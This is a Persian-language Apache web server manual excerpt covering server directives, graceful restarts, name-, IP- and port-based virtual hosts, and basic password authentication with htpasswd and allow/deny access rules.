براي امنيت بيـشتر بهتـر   . كند ميگرداند را فاش     مياين ديركتيو اطلاعاتي كه كارگزار درباره خودش بر       

  :د سوء استفاده نشودشود تا از آن به براي مقاصمحدود اين اطلاعات است كه 
Productonly (from v 1.3.14) 

  .ندگردا مي را برApacheكارگزار فقط 
min(imal) 

   Apache v1.3مثلا . گرداند ميفقط نام و شماره نسخه را بركارگزار 
 براي نشان دادن تمام اطلاعات      full براي نشان دادن سيستم عامل و        osمقادير ديگر ممكن عبارتند از      

  .حتي گزينه هاي كمپايل
 

ServerAlias   

 
ServerAlias name1 name2 name3 ... 
Virtual host 

 

 HTTP 1.1درخواسـتي از  اگـر  . كنـد  مـي  يك ليستي از ديگر نامهاي ميزبان مجازي ارائه اين ديركتيو
، ServerNameتواند بـا هـر يـك از     ميآيد و  مي در سرآيند Host: Serverاين نام به همراه استفاده كند، 
ServerAlias نام  ياVirtualHostتطبيق يابد .  

  

ServerPath   

 
ServerPath path 
Virtual host 

 

 واحد نگاشت كرد و مرورگر با فرستادن IPتوان چندين نام ميزبان را به يك آدرس  مي HTTP 1.1در 
. كننـد  مـي  اسـتفاده  HTTP 1.0هنوز برخي مرورگرهـا از  ولي . شود مي بين آنها تمايز قايل Hostسرآيند 
.  مسير ميزبان مجازي مربوط را مشخص كـرد        با استفاده از  دهد كه    مي اين امكان را     ServerPathديركتيو  

  . را نخواهند فرستادHostكنند، آنگاه سرآيند  مي استفاده HTTP 1.0اگر كاربران شما از 
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 واحدي  IP به آدرس    site2.example.com و   site1.example.comبراي نمونه فرض كنيد كه دو وبگاه        
  :مطابق ذير پيكربندي كرده باشيد را  httpd.confنگاشت شوند و ) 192.168.132.2مثلا (

<VirtualHost 192.168.123.2> 
ServerName site1.example.com 
DocumentRoot /usr/www/APACHE3/site1 
ServerPath /site1 
</VirtualHost> 
 
<VirtualHost 192.168.123.2> 
ServerName site2.example.com 
DocumentRoot /usr/www/APACHE3/site2 
ServerPath /site2 
</VirtualHost> 

  
 و /http://site1.example.comآدرس توانـــــد بـــــه دو  مـــــي HTTP 1.1آنگـــــاه مرورگـــــر 

http://site2.example.com/  به خاطر بياوريد كه .  پيدا كنددسترسيHTTP 1.0 تواند بـين دو   مي فقط
آدرسها به يك ميزبـان نگاشـت   ين هر دوي ا بنابراين  .  تفاوت قايل شود   IPوبگاه با متفاوت بودن آدرسهاي      

و   http://site1.example.com/site1تواننـد بـا آدرسـهاي        مـي ايـن مرورگرهـا     با پيكربندي بالا    . شوند مي
http://site1.example.com/site2  به اين دو وبگاه دسترسي پيدا كنند.  

 

SendBufferSize   

 
SendBufferSize <number> 
Default: set by OS 
Server config 

 

فرض سيـستم عامـل مقـداردهي           را به مقداري غير از مقدار پيش        TCPاين ديركتيو اندازه بافر ارسال      
  . كند مي

 

KeepAlive   

 
KeepAlive number 
Default number: 5 
Server config 
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ء ديگـر   به طور معمول اگر كاربري صفحه اي را درخواست كرد، به دنبـال آن صـفحات ديگـر يـا اشـيا                     
براي پرهيز از تاخير اضافه اين ديركتيـو اتـصال را   . مربوط به آن مانند تصاوير آن را درخواست خواهد كرد         

  . دارد ميباز نگاه  numberبراي تعداد مشخص شده با 
  

KeepAliveTimeout   

 
KeepAliveTimeout seconds 
Default seconds: 15 
Server config 

 

لوگيري از انتظار بيجا براي درخواست كاربر و هدر دادن منابع، حداكثر زماني كه              جبه طور مشابه براي     
  .كند ميممكن است اتصال باز بماند را مشخص 

 

TimeOut   

 
TimeOut seconds 
Default seconds: 1200 
Server config 

 

كميـل شـود را     مانـد تـا ت     مـي يـك درخواسـت     كارگزار منتظر دريافـت     حداكثر زماني كه    اين ديركتيو   
بارگذاري فايلهاي بزرگ روي اتصالهاي كند، باعـث        : اين ديركتيو يك اثر ناخوشايند دارد     . كند ميمشخص  
timeout  بنابراين ممكن است لازم باشد كه مقدار اين ديركتيو بيشتر شود.شود مي .  

HostNameLookups   

 
HostNameLookups [on|off|double] 
Default: off     
Server config, virtual host 

  
شود كه     انجام مي  DNSتمام اتصالهاي ورودي بايد جستجوي معكوس       براي  د،   باش onاگر اين ديركتيو    

از نام ميزبـان در رويـدادنگاري اسـتفاده         . شود   پرس و جو مي    DNSاز  نام ميزبان    IPدر آن از روي آدرس      
بنابراين براي بالا رفتن كارايي بهتر است       . شود ميه   به جاي آن استفاد    IP باشد، از آدرس     offاگر  . شود مي

  . باشدoffمقدار آن 
  

Include   
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Include filename  
Server config 

  
filename      اگـر   .شـود  مـي اضافه  به فايل پيكربندي    كه به جاي اين ديركتيو      كند   مي اشاره به يك فايل 

filename شوند ميايلهاي آن شاخه و زير شاخه ها اضافه تمام ف به يك شاخه اشاره كند، در اين صورت.  
  

  17باز آغازيدن 3-5
ايـن كـار را   . بخواهد آپاچي را متوقف و با پيكربندي جديدي آن را اجرا كنديك مدير وب ممكن است      

  .  شناسه پردازه آپاچي استPID انجام داد كه <kill <PIDتوان با دستور  مي
  :وجود داردآپاچي سه راه براي بازآغازيدن يونيكس در 

  :متوقف كردن و بارگذاري مجدد آن
% kill PID 
% httpd [flags] 

  
  : به آپاچيHUP–با فرستادن سيگنال 

% kill –HUP PID 

در اين روش به پردازه هاي فرزند اجـازه  .  انجام دادUSR1–توان با گزينه  ميرا  18محتاطانهبازآغازيدن  
 بيـشتر در  . راكنش نيمه تمام كارفرما را بـه اتمـام برسـانند          شود كه كار خود را كامل كنند و هر ت          ميداده  

  . استغازيدن آبازمواقع اين بهترين روش براي 
% kill –USR1 PID 

  :به صورت زير است) با فرض اينكه در شاخه ريشه كارگزار هستيد( اين كار خودكار اسكريپت انجام
#!/bin/sh 
kill -USR1 `cat logs/httpd.pid` 

                                                 
17 Restart 
18 Graceful restart  



 

  
  
  
  

  
  
  

 : چهارمفصل 4
  ميزبانهاي مجازي
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  ميزبانهاي مجازي 4-1
اكنون در مثال ما دو گروه كاري در بخش فروش وجود دارند كه هر يك قيمتهاي متفاوت و روشـهاي                    

براي انجام اين كـار دو روش وجـود         . متفاوتي براي فروش دارند و در نتيجه به دو وبگاه جداگانه نياز دارند            
  :دارد

ايـن  . كه دو وبگاه را به عنوان دو ميزبان مجازي نگهداري مي كند        يك كپي از آپاچي اجرا شود        .1
  .روش معمول ترين روش است

 . مي كنند ي ميزبان، يك وبگاه راكارگزار آپاچي اجرا كنيم كه هر يك) بيشتريا (دو  .2

همان طور كه گفته شد راه معمول براي داشتن چند ميزبـان، تـشكيل ميزبانهـاي مجـازي روي يـك                      
  .  مختلف ورودي را به مستندات مختلفي نگاشت مي كنندURLاين ميزبانها . ي استكارگزار آپاچ

 و مبتنـي بـر آدرس       19مبتني بر نام  : به طور كلي دو نوع ميزبان مجازي در آپاچي مي توان تعريف كرد            
IP .كه در ادامه به آنها خواهيم پرداخت.  

  مجازي مبتني بر نامميزبانهاي  4-2
 و مرورگرهايي كه از آن استفاده مي كنند روش به مراتب بهتري اسـت  HTTP 1.1استفاده از امكانات 

در ايـن   . ) پشتيباني كند كه الان بسياري از آنها همـين طـور هـستند             Hostيا حداقل مرورگر از سرآيند      (
دو وبگاه  ما  site.virtual/Name-based/ … در . روش مرورگرها نام ميزبان را همراه سرآيند مي فرستند

www.butterthlies.com   و sales.butterthlies.com   ــم192.168.123.2روي آدرس ــن  .  داري ــه اي البت
 فايـل   .)ثبـت كنيـد    etc/hosts/مي توانيد موقتا در     يا  ( ثبت كرده باشند     DNSوبگاهها بايد نام خود را در       

  :پيكربندي به صورت زير است
User webuser 
Group webgroup 
 
NameVirtualHost 192.168.123.2 
 
<VirtualHost www.butterthlies.com> 
ServerName www.butterthlies.com 
ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/APACHE3/site.virtual/htdocs/customers 
ErrorLog /usr/www/APACHE3/APACHE3/site.virtual/Name-based/logs/error_log 
TransferLog /usr/www/APACHE3/APACHE3/site.virtual/Name-
based/logs/access_log 
</VirtualHost> 
 
<VirtualHost sales.butterthlies.com> 

                                                 
19 Name-based virtual host  
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ServerName sales.butterthlies.com 
ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/APACHE3/site.virtual/htdocs/salesmen 
ServerName sales.butterthlies.com 
ErrorLog /usr/www/APACHE3/APACHE3/site.virtual/Name-based/logs/error_log 
TransferLog /usr/www/APACHE3/APACHE3/site.virtual/Name-
based/logs/access_log 
</VirtualHost> 

  
اعـلان مـي كنـد كـه درخواسـتهاي          اچي   است كه بـه آپ ـ     NameVirtualHostديركتيو اصلي در اينجا     

ممكـن اسـت بـه نظـر برسـد كـه ديركتيـو              . بندي خواهند شد     بر اساس نام دسته    IPرسيده به آن آدرس     
ServerName            نقش حياتي دارد، ولي اين ديركتيو تنهـا نـامي بـه آپـاچي بـراي بازگردانـدن بـه كارفرمـا 

يتي كـه مـي خـواهيم سـرويس دهـيم           اكنون توسط نام سـا     <VirtualHost>بخشهاي  . مشخص مي كند  
ــده  ــشخص ش ــد  م ــن     . ان ــر اي ــي ب ــشداري مبن ــام ه ــاچي پي ــود، آپ ــذف ش ــو ح ــن ديركتي ــر اي ــه  اگ ك

www.butterthlies.com     و sales.butterthlies.com               روي هم افتي دارند و ممكـن اسـت بـه ديركتيـو 
NameVirtualHostنياز داشته باشيم .  

4-2 -1 -1 NameVirtualHost  
NameVirtualHost  آدرس اين امكان را مي دهد كهIPميزبانهاي مجازي را مشخص كنيم .  

NameVirtualHost address[:port] 
Server config 
 

بلـوك   IP بايـد مطـابق بـا        IPآدرس  . به طور اختيـاري مـي تـوان شـماره درگـاه را نيـز اضـافه كـرد                  
<VirtualHost>          باشد و بلوك بايد شامل يك ديركتيو ServerName  ه يك نام ثبت شده باشـد       به همرا .

  <VirtualHost>در نتيجه هنگامي كه آپاچي يك درخواست به يك ميزبان نام دار دريافت كرد، بلوكهاي                
  . جستجو مي كند درخواست شده را دارند، ServerNameآن يك را به دنبال  مشابهي را دارند IPكه 

  IPميزبانهاي مجازي مبتني بر  4-3
فايل پيكربنـدي   .  گفته مي شود   IPآپاچي براي ميزباني مجازي مبتني بر       در اينجا چگونگي پيكربندي     

  :مطابق با زير است
User webuser 
Group webgroup 
 
# we don't need a NameVirtualHost directive 
 
<VirtualHost 192.168.123.2> 
ServerName www.butterthlies.com 
ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/APACHE3/site.virtual/htdocs/customers 
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ErrorLog /usr/www/APACHE3/APACHE3/site.virtual/IP-based/logs/error_log 
TransferLog /usr/www/APACHE3/APACHE3/site.virtual/IP-
based/logs/access_log 
</VirtualHost> 
 
<VirtualHost 192.168.123.3> 
ServerName sales-IP.butterthlies.com 
ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/APACHE3/site.virtual/htdocs/salesmen 
ErrorLog /usr/www/APACHE3/APACHE3/www/APACHE3/APACHE3/site.virtual/IP-
based/logs/error_log 
TransferLog /usr/www/APACHE3/APACHE3/site.virtual/IP-
based/logs/access_log 
</VirtualHost> 
 

 در  ServerName ديركتيوهـاي     به  نداريم ولي  NameVirtulaHostنيازي به ديركتيو    ديگر  در اين جا    
ــوك   ــر بلـ ــم  <VirtualHost>هـ ــاز داريـ ــتهاي     .نيـ ــه درخواسـ ــوبي بـ ــه خـ ــدي بـ ــن پيكربنـ  ايـ

http://www.butterthlies.com   وhttp://sales-IP.butterthlies.comپاسخ مي دهد   .  

  ميزبانهاي مجازي تركيبي 4-4
بــراي  كــه <VirtualHost>بلوكهــاي .  را هــم مــي تــوان داشــتIPروش تركيبــي مبتــي بــر نــام و 

NameVirtualHost       رسيده براي ميزبانهاي مبتني بر نـام پاسـخ مـي            پيكربندي شده اند به درخواستهاي
استفاده  Apache SSLاين كار هنگامي كه از .  مقتضي پاسخ مي دهندIP با به درخواستهايدهند و بقيه 

  :خواهيم كرد، مهم است
User webuser 
Group webgroup 
 
NameVirtualHost 192.168.123.2 
 
<VirtualHost www.butterthlies.com> 
ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/APACHE3/site.virtual/htdocs/customers 
ErrorLog /usr/www/APACHE3/APACHE3/site.virtual/IP-based/logs/error_log 
TransferLog /usr/www/APACHE3/APACHE3/site.virtual/IP-
based/logs/access_log 
</VirtualHost> 
 
<VirtualHost sales.butterthlies.com> 
ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/APACHE3/site.virtual/htdocs/salesmen 
ServerName sales.butterthlies.com 
ErrorLog /usr/www/APACHE3/APACHE3/site.virtual/IP-based/logs/error_log 
TransferLog /usr/www/APACHE3/APACHE3/site.virtual/IP-
based/logs/access_log 
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</VirtualHost> 
 
<VirtualHost 192.168.123.3> 
ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/APACHE3/site.virtual/htdocs/salesmen 
ServerName sales-IP.butterthlies.com 
ErrorLog /usr/www/APACHE3/APACHE3/site.virtual/IP-based/logs/error_log 
TransferLog /usr/www/APACHE3/APACHE3/site.virtual/IP-
based/logs/access_log 
</VirtualHost> 
 

دارنـد، در حـالي كـه درخواسـتهاي          سـروكار    NameVirtualHostدو ميزبان مبتني بر نام با ديركتيـو         
 سرويس داده مـي شـوند كـه         <VirtualHost>توسط بلوك سوم     sales-IP.butterthlies.comرسيده به   

بـه ايـن نكتـه توجـه داشـته باشـيد كـه بايـد بلوكهـاي                   .تنظيم شده اسـت    192.168.123.3براي آدرس   
VirtualHost مبتني بر IP بيايندمبتني بر نام  بايد از بلوكهاي .  

  ميزبان مجازي مبتني بر درگاه 4-5
مزيـت اصـلي ايـن روش آن اسـت كـه            .  است IPميزبان مجازي مبتني بر درگاه مشابه روش مبتني بر          

دي ميزبانهاي  تعداد زيا بدون استفاده از     يا ميزبان    IPسايت روي تنها يك     مدير وب مي تواند تعداد زيادي       
غيـر معمـول   متاسفانه اغلـب كـاربران از شـماره درگـاه       .  براي كارهاي تستي برپا كنند     IPمبتني بر نام يا     

  . خوششان نمي آيد ولي اين روش براي كارهاي آزمون بسيار مفيد است
User webuser 
Group webgroup 
Listen 80 
Listen 8080 
<VirtualHost 192.168.123.2:80> 
ServerName www.butterthlies.com 
ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/APACHE3/site.virtual/htdocs/customers 
ErrorLog /usr/www/APACHE3/APACHE3/site.virtual/IP-based/logs/error_log 
TransferLog /usr/www/APACHE3/APACHE3/site.virtual/IP-
based/logs/access_log 
</VirtualHost> 
 
<VirtualHost 192.168.123.2:8080> 
ServerName sales-IP.butterthlies.com 
ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/APACHE3/site.virtual/htdocs/salesmen 
ServerName sales.butterthlies.com 
ErrorLog /usr/www/APACHE3/APACHE3/site.virtual/IP-based/logs/error_log 
TransferLog /usr/www/APACHE3/APACHE3/site.virtual/IP-
based/logs/access_log 
</VirtualHost> 
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ــه درگاههــاي    Listenديركتيــو   ــاچي اعــلان مــي كنــد كــه بايــد ب ــه آپ .  گــوش دهــد8080 و 80ب



 

  
  
  
  
  

  
  
  

 :پنجمفصل  5
  شناسي هويت
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كند همان كسي است      اثبات مي شود كه در آن كاربر        شناسي يا احراز هويت به فرآيندي گفته مي         هويت
. ها و صفحات در اختيار عمـوم كـاربران اينترنـت اسـت              در كارگزارهاي وب بخشي از داده     . كند  كه ادعا مي  

دسترسي بـه    كاربران براي    اما اين . ها كه فقط بايد در اختيار كاربران مجاز باشد          ولي بخش كوچكي از داده    
  . شناسي شده و خود را به كارگزار وب بشناسانند هويتها بايد  اين داده

  .پردازيم شناسي كاربران خود مي در اين فصل به نحوه پيكربندي كارگزار آپاچي براي هويت

  شناسي پروتكل هويت 5-1
فرستد و آپـاچي در        آپاچي مي  نام و گذرواژه خود را به     كارفرما  . شناسي در اصل بسيار ساده است       هويت

صـحت  جـستجو كـرده و      هـاي رمزشـده       و گذرواژه ) هاي كاربران   يا همان شناسه  (فايلي از نامهاي كاربران     
تواند ليستي از كاربران به همـراه گـذرواژه آنهـا درسـت               مدير وب مي  . كند  گذرواژه وارد شده را بررسي مي     

  .كرده و دسترسي افراد را فرد به فرد كنترل كند
حق دسترسي يا منع دسترسي بر اساس گـروه         بندي كرده و      توان تعدادي از افراد را دسته       همچنين مي 

 cleanersدر گـروه     soniaو   daphneو   directorsعـضو گـروه      benو   billدر طول اين فصل     . انجام شود 
مجـاز  ثبت شده ان اجبار كند كه كاربران خاصي دسترسي داشته باشند يا كاربرتواند    مدير وب مي  . هستند
. بنـدي نماييـد     اگر قرار است با تعداد زيادي از افراد سر و كار داشته باشيد بهتر است آنها را دسـته                  . باشند

البته شما در عمـل نبايـد       . باشند theftها هميشه برابر      كنيم گذرواژه   سازي فرض مي    براي سادگي در پياده   
  . داي را انتخاب نمايي سادهكوتاه و چنين گذرواژه 

معتبـر اسـت كـه هنگـام ايجـاد گـذرواژه            خاصـي    20قلمـرو گذرواژه براي يـك     /هر زوج شناسه كاربري   
ــي ــذاري م ــود نامگ ــك  . ش ــراي ي ــر ب ــي URLمرورگ ــتد  خاصــي درخواســت م ــخ . فرس ــارگزار در پاس ك

"Authentication Required")   اگـر مرورگـر در حـال حاضـر شناسـه و      .فرستد ميو قلمرو را ) 401كد 
در غيـر ايـن     . فرسـتد   گـذرواژه مـي   /، درخواست را دوباره به همراه شناسه      را در اختيار داشته باشد    گذرواژه  
  .فرستد از كاربر پرسيده و بعد ميصورت، 
فرسـتاده  روي وب   ) رمز نـشده  (واضح  بسيار ناامن است، زيرا گذرواژه به صورت        اين كار   متأسفانه  البته  

هـر مهـاجم     .)شود ولي به راحتي قابل كد گشايي است         مي كدگذاري   base64گذرواژه به صورت     (شود  مي
تكنيكيهايي بـراي برطـرف كـردن ايـن نقطـه           . واند در مسير ترافيك، گذرواژه را شنود كند       ت  بدخواهي مي 

ــده  ــه ش ــعف ارائ ــد ض ــت. ان ــده   هوي ــر چكي ــي ب ــي مبتن ــل     21شناس ــك پروتك ــه از ي ــت ك ــي اس روش

                                                 
20 realm 
21 Digest authentication 
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Challenge/Handshake   استفاده از   . كند  اژه استفاده مي  جلوگيري از افشاي گذرو    برايSSL  توانـد     نيز مي
  ). مراجعه شود9 به فصل (بسيار مفيد باشد 

5-2 site.authent  
مـشابه زيـر    conf/httd1.conf/ …پيكربندي اولين فايل . قابل مشاهده هستند site.authentمثالها در 

  :است
User webuser 
Group webgroup 
ServerName www.butterthlies.com 
NameVirtualHost 192.168.123.2 
 
<VirtualHost www.butterthlies.com> 
ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/site.authent/htdocs/customers 
ServerName www.butterthlies.com 
ErrorLog /usr/www/APACHE3/site.authent/logs/error_log 
TransferLog /usr/www/APACHE3/site.authent/logs/customers/access_log 
ScriptAlias /cgi-bin /usr/www/APACHE3/cgi-bin 
</VirtualHost> 
 
<VirtualHost sales.butterthlies.com> 
ServerAdmin sales_mgr@butterthlies.com 
DocumentRoot /usr/www/APACHE3/site.authent/htdocs/salesmen 
ServerName sales.butterthlies.com 
ErrorLog /usr/www/APACHE3/site.authent/logs/error_log 
TransferLog /usr/www/APACHE3/site.authent/logs/salesmen/access_log 
ScriptAlias /cgi-bin /usr/www/APACHE3/cgi-bin 
 
<Directory /usr/www/APACHE3/site.authent/htdocs/salesmen> 
AuthType Basic 
AuthName darkness 
AuthUserFile /usr/www/APACHE3/ok_users/sales 
AuthGroupFile /usr/www/APACHE3/ok_users/groups 
require valid-user 
</Directory> 
 
</VirtualHost> 

  
 .… Directory> در AuthType Basicديركتيـو كليـدي   در اين پيكربندي چه چيـز جديـد اسـت؟    

salesmen>كند شناسي را فعال مي هويتاين ديركتيو .  است .  
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   شناسي هويتهاي  ديركتيو 5-3
بـه   هستند، مگر آنكه صـريحاً       )ServerRootنسبت به   (نسبي  نامهاي فايل    به بعد    1.3از آپاچي نسخه    

در ايـن فـصل بـراي جلـوگيري از          . شـروع شـود   / يك نام فايل مطلق است اگـر بـا          . ذكر شوند طور مطلق   
  .شود از آدرسهاي مطلق استفاده ميسوءتفاهم 

AuthType   

 

AuthType type 

directory, .htaccess 

 

AuthType   در ابتدا   . كند  شناسي را مشخص مي      نوع كنترل هويتBasic       از . تنها نوع در دسـترس بـود
  . كند  و يك رمز مشترك استفاده ميMD5از چكيده  هم معرفي شد كه Digestنوع  به بعد 1.1آپاچي 
 و  AuthName  ،AuthGroupFileشـود، بايـد از ديركتيوهـاي           اسـتفاده مـي    AuthTypeديركتيـو   اگر  

AuthUserFileنيز استفاده شود .  
  

AuthName   

 

AuthName auth-realm 

directory, .htaccess 

 

AuthName  كنـد   ها در آن معتبر هستند را مشخص مي         هاي كاربري و گذرواژه     شناسهكه   ينام قلمرو .
  :، آن را با علامتهاي نقل قول محصور كنيد باشد(space)داراي خط فاصله اگر نام قلمرو 
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AuthName "sales people" 

  

AuthGroupFile   

 

AuthGroupFile filename 

directory, .htaccess 

AuthGroupFile  ديركتيو ربطي بهGroup webgroup ايـن ديركتيـو فقـط نـام     . فايل پيكربندي ندارد در بالاي
  :كند را تعيين مياند  فايلي كه در آن گروههاي كاربري و اعضاي آنها مشخص شده

cleaners: daphne sonia 
directors: bill ben 

ــه آن مقــداردهي AuthGroupFileديركتيــو  و قــرار داده ok_users/groups/ …مــا ايــن را در   را ب
بـه درسـتي پيكربنـدي نـشده باشـد،           requireديركتيـو    تا وقتي كه     AuthGroupFileديركتيو  . كنيم  مي

  .تأثيري ندارد

AuthUserFile   

 

AuthUserFile filename 

AuthUserFile ر اين باره در بخشهاي بعدي مفصلتر د. هاي رمزشده آنان است هاي كاربري و گذرواژه فايلي از شناسه
  .شرح خواهيم داد

 

require   

 

require [user user1 user2 ...] [group group1 group2] [valid-
user]  

[valid-user] [valid-group] 

directory, .htaccess 

  . استrequireكند  شناسي را براي يك ناحيه اجباري مي هويتديركتيو كليدي كه 
مواظب باشيد بـه صـورت      . پذيرد  در فايل گذرواژه يافت شود را مي      هر كاربري كه     valid-userان  آرگوم

valid_user  سايت هنگام دسترسي مرورگر به     غير قابل بياني    باعث به وجود آمدن خطاي      كه  !  تايپ نكنيد
از آنجـا   . كنـد   ي را به عنوان شناسه كاربري تعبير م ـ       valid_userاين به خاطر آن است كه آپاچي         !شود  مي
معتبـر  توان تعيين كرد مقادير       نميدر حال حاضر    شود،     توسط ماجولهاي متعددي استفاده مي     requireكه  

  .اين آرگومان چيست
file-owner  
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 AuthUserFileدر پايگـاه داده  شناسـه و گـذرواژه ارائـه شـده بايـد           ]1.3.20آپاچي  دسترس از   قابل  [
ايـن  . فايل درخواست شـده باشـد  سيستم به عنوان مالك مطابق نام يد شناسه كاربري باموجود بوده و نيز  

مورد اسـتفاده    است، آنگاه شناسه كاربري      jonesفايل  بدين معني است كه اگر از ديد سيستم عامل مالك           
  .باشد jonesبراي دسترسي به اين فايل بايد 

file-group  
 AuthUserFileده بايـد در پايگـاه داده        شناسـه و گـذرواژه ارائـه ش ـ        ]1.3.20دسترس از آپاچي    قابل  [

 بـوده و كـاربر      AuthGroupFileپايگاه داده   فايل است بايد عضو      كه مالك كاربري   گروهموجود بوده و نيز     
  . گروه باشدنيز عضوي از اين 

  :مثال
  : تنها افراد محاز براي دسترسي باشندsimon و bill ،benبراي آن كه كاربران 

require user bill ben simon 
 

  : دسترسي داشته باشندcleanersبراي آن كه تنها كاربران عضو گروه 
require group cleaners 

 

satisfy   

 

satisfy [any|all] 

Default: all 

directory, .htaccess 

satisfy   دسترسي را در صورتي كه از هر دوي         سياستallow   و require        استفاده شـده باشـد، تعيـين 
توسـط  ناحيه خـاص    دسترسي به يك    تنها هنگامي   اين ديركتيو   .  باشد any يا   allتواند    ارامتر مي پ. كند  مي

در رفتـار  در اين حالت،   . كارفرما محدود شده باشد، مفيد است     آدرس ميزبان   گذرواژه و   /دو مكانيزم شناسه  
  .برآورده سازد را  گذرواژه معتبر   /شناسهمحدوديتهاي آدرس دسترسي و     كارفرما بايد همه     (all)پيش فرض   

  . شود اگر تنها يكي از شرايط فوق را برآورده كند به كارفرما اجازه دسترسي داده مي، anyبا گزينه 
  : گذرواژه درخواست كنيم1.2.3.4خواهيم از همه به جز افراد سايت  اگر ميبه عنوان مثال 

<usual auth setup (realm, files etc> 
require valid-user 
Satisfy any 
order deny,allow 
allow from 1.2.3.4 
deny from all 

  



  57    راهنماي كارگزار وب آپاچي   

  .باشد تمام حقوق اين اثر متعلق به شوراي عالي انفورماتيك مي

 

   يونيكستحتها  گذرواژه 5-4
مـــــسير كـــــه در  salesفايـــــل گـــــذرواژه  توســـــط  salespeopleشناســـــي  هويـــــت

//usr/www/APACHE3/ok_users     اين فايـل بـالاتر از شـاخه ريـشه اسـناد            . شود  ذخيره شده انجام مي
(document root)فايـل  . توانند به آن دسترسي پيدا كنند جمين بدخواه نمي است، بنابراين مها sales   بـا
ــزار   ــتفاده از اب ــاچي  htpasswdاس ــراه آپ ــه هم ــي ك ــداري م ــت، نگه ــود  اس ــه در .ش ــن برنام ــتن اي   م

…/apache_1.3.1/src/support/htpasswd.cبايد آن را به صورت زير كمپايل كنيم و  است:  
% make htpasswd 

اسـتفاده  از دسـتور    براي ديدن نحوه اجـراي آن       . بايد آن را اجرا كنيم    ،  htpasswd پس از ساخته شدن   
   :كنيم مي

% htpasswd -? 
Usage: 
 htpasswd [-cmdps] passwordfile username 
 htpasswd -b[cmdps] passwordfile username password 
 
 -c  Create a new file. 
 -m  Force MD5 encryption of the password. 
 -d  Force CRYPT encryption of the password (default). 
 -p  Do not encrypt the password (plaintext). 
 -s  Force SHA encryption of the password. 
 -b  Use the password from the command line rather than prompting for it. 
On Windows and TPF systems the '-m' flag is used by default. 
On all other systems, the '-p' flag will probably not work. 
 

  :كنيم  تعريف مي theftايجاد كرده و گذرواژه وي را را  billحال كاربر 
% htpasswd -m -c ... /ok_users/sales bill 

به فايل گذرواژه نگاهي بيندازيم چيزي شبيه بـه خـط زيـر             اكنون اگر   . شود  پرسيده مي گذرواژه  دو بار   
  :بينيم مي

bill:$1$Pd$E5BY74CgGStbs.L/fsoEU0 

در بـار اول از   فقـط   كند، بنـابراين      فايل جديدي ايجاد مي    c–گزينه  (كنيم    دي را اضافه مي   و كاربران بع  
  ):كنيم آن استفاده مي

% htpasswd ... /ok_users/sales ben 

 كنـيم    تعريـف مـي    "theft"در اينجا گذرواژه همه آنهـا را        . را نيز اضافه كنيد    daphneو   soniaكاربران  
  .!)هيچ گاه اين كار را مرتكب نشويد كار خطرناكي است و در دنياي واقعيالبته همان طور كه گفتيم (

  : اكنون شبيه به زير استok_users/users/ …/فايل گذرواژه 
bill:$1$Pd$E5BY74CgGStbs.L/fsoEU0 
ben:$1$/S$hCyzbA05Fu4CAlFK4SxIs0 
sonia:$1$KZ$ye9u..7GbCCyrK8eFGU2w. 
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daphne:$1$3U$CF3Bcec4HzxFWppln6Ai01 

ها است، زيرا      اين كار براي حفاظت از گذرواژه      .آمده است رمز شده   هر شناسه كاربري به همراه گذرواژه       
 اگر شما ادعا كنيد كـه  .اصلي را بدست آورد گذرواژهها،  از رمزشده اين گذرواژه   توان    نميحداقل در تئوري    

bill  سعي كنيد گذرواژه رمز شده وي را وارد كنيدهستيد و:  
$1$Pd$E5BY74CgGStbs.L/fsoEU0 

 بـا نگـاه     .شود كه قابل تطبيق نيـست       مي o09klks23O9RMچيزي شبيه   اين رشته دوباره رمز شده و       
  . است"theft"توان گفت كه گذرواژه وي  كردن به فايل نمي

  CGIهاي  اسكريپت 5-5
.  كننـد   نيـز محافظـت    CGIهـاي     توانند از اسكريپت     مي )Digest و   Basic  روش هر دو ( شناسي    هويت

  .مناسب تعريف كنيد <Directory  …/cgin-bin>يك بلوك كافي است 

5-6 Order ،Allow و Deny  
نـام  ،  IPهـاي خـاص      دسترسي را بر اسـاس آدرس     توان    مي. كاربران منفرد سر و كار داشتيم     تا اينجا با    

  . هستندdeny from و allow fromدستورها . كنترل كردميزبانها يا گروهي از آدرسها و نام ميزبانها 
شوند، همان ترتيب ظـاهر شـدن در فايـل پيكربنـدي               اعمال مي  deny و   allowدستورهاي  ترتيبي كه   

 منع شـد، ايـن كارفرمـا        denyاگر كارفرمايي توسط    :  است allow و سپس    denyفرض    پيشترتيب  . نيست
يـق پيـدا نكـرد،      اگر بـا هـيچ يـك تطب       . تطبيق پيدا كند   allowبا يك   شود، مگر آن كه       منع دسترسي مي  

  .كند كارفرما اجازه دسترسي پيدا مي
  . است قابل تعيينorderترتيب اعمال اين دستورها با ديركتيو 

allow from   

 

allow from host host ... 

directory, .htaccess 

توانـد يكـي از مـوارد زيـر            مي hostآرگومان   .كند   دسترسي به يك شاخه را كنترل مي       allowديركتيو  
  :باشد

all  
  . شود داده مياجازه دسترسي تمام ميزبانها به 

  )كامل يا جزئي(يك نام دامنه 
نام تطبيق داشـته باشـد يـا بـه ايـن            كه با اين    نام آنها   ميزبانهايي  تمام  
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  . شود اجازه دسترسي داده ميرشته ختم شود 
  IPآدرس كامل 

سترسي اجازه د  IPبايتهاي اول تا سوم آدرس      ،  subnetبراي محدوديت   
  .شود داده مي

 network/netmaskزوج 

ــا a.b.c.dشــبكه بــه  اجــازه دسترســي داده   w.x.y.z (mask) قــاب ب
   10.1.0.0/255.255.0.0:  مثال.شود مي

   شبكهCIDRتوصيف 
 10.1.0.0/16 به عنوان نمونـه      . مرتبه بالا است   1بيت   nnnي  شبكه دارا 

  . است 10.1.0.0/255.255.0.0مشابه 
 

allow from env   

 

allow from env=variablename ... 

directory, .htaccess 

  :براي مثال. كند دسترسي را به وسيله وجود يك متغير محيطي كنترل مي allow from envديركتيو 
BrowserMatch ^KnockKnock/2.0 let_me_in 
<Directory /docroot> 
order deny,allow 
deny from all 
allow from env=let_me_in 
</Directory> 

